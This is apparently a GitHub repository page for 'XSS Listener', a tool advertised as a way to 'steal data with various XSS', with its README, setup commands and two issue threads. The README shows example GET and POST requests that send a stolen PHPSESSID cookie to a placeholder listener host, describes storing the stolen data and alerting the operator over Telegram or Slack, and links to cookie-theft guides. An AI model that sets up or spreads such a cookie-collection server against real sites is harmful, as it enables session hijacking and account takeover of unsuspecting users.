cagataycali / xss-listener

🕷️ XSS Listener is a penetration tool for easy to steal data with various XSS.

🕷️ XSS Listener is a penetration tool for easy to steal data with various XSS.

From now on, you do not need XSS listeners! XSS listener records the data you have stolen on the remote site in the database, and gives instant notification with telegram / slack.

🕸️ Know-How Background

• What is XSS

• Steal cookie with XSS without redirecting to another page

• TR | How to use XSS

🕸️ Listener Usage

Listener accepts all HTTP methods with parameters, then save database. Example:

GET https://yourapp.com/?cookie=PHPSESSID=889c6594db2541db1666cefca7537373

or

POST https://yourapp.com/
Form: { cookie:'PHPSESSID=889c6594db2541db1666cefca7537373' }

You will notify by telegram bot.

🕸️ Detailed Usage

🕸️ List previous requests

https://yourapp.com/list

🕸️ Delete previous request by id

https://yourapp.com/delete/[id]

🕸️ Even you can use telegram (and / or Slack!)

/list

/delete [id]

🕸️ Run local environment

In terminal,

git clone https://github.com/cagataycali/xss-listener.git; # Clone
cd xss-listener; # Change directory.
npm install; # Install dependencies.
cp .env.example .env
# Fill in .env with required values.
# Fill bot token and user id.
node index.js

License

MIT © Çağatay Çalı

xss-listener's Issues

npm ERR

good afternoon friend a question because this error generates me in heroku when the token and the id of telgran have been configured in the app, can you help me thanks

2020-03-17T19:54:38.732147 00:00 app[web.1]: npm ERR!
2020-03-17T19:54:38.732317 00:00 app[web.1]: npm ERR! Failed at the [email protected] start script.
2020-03-17T19:54:38.732496 00:00 app[web.1]: npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
2020-03-17T19:54:38.742838 00:00 app[web.1]:
2020-03-17T19:54:38.743118 00:00 app[web.1]: npm ERR! A complete log of this run can be found in:
2020-03-17T19:54:38.743325 00:00 app[web.1]: npm ERR! /app/.npm/_logs/2020-03-17T19_54_38_733Z-debug.log
2020-03-17T19:54:38.800596 00:00 heroku[web.1]: State changed from starting to crashed
2020-03-17T19:54:38.786766 00:00 heroku[web.1]: Process exited with status 1

Slack Integration

xss-listener supports only telegram app,
Listener can be support slack or discord etc. (Even facebook messenger bot 😸)